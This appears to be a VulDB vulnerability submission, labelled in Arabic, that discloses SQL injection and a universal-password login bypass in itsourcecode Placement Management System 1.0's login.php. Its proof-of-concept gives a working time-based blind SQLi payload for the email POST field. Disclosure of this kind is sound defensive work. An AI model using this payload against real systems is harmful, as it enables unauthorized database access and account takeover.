| عنوان | itsourcecode Placement Management System 1.0 SQLi |
|---|
| الوصف | In the login.php file, the email field is not properly sanitized, which may lead to SQL injection vulnerabilities. Additionally, as long as there is any data in the users table of the database, it is possible to log in using a universal password.
————————Poc————————————
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]#' AND (SELECT 3451 FROM (SELECT(SLEEP(5)))zIEe) AND 'NilV'='NilV&pass=123 |
|---|
| المصدر | ⚠️ https://github.com/DeepMountains/Mirage/blob/main/CVE11-1.md |
|---|
| المستخدم | Dee.Mirage (UID 71702) |
|---|
| ارسال | 31/07/2024 04:15 PM (2 سنوات منذ) |
|---|
| الاعتدال | 03/08/2024 08:49 AM (3 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 273540 [itsourcecode Placement Management System 1.0 login.php email حقن SQL] |
|---|
| النقاط | 20 |
|---|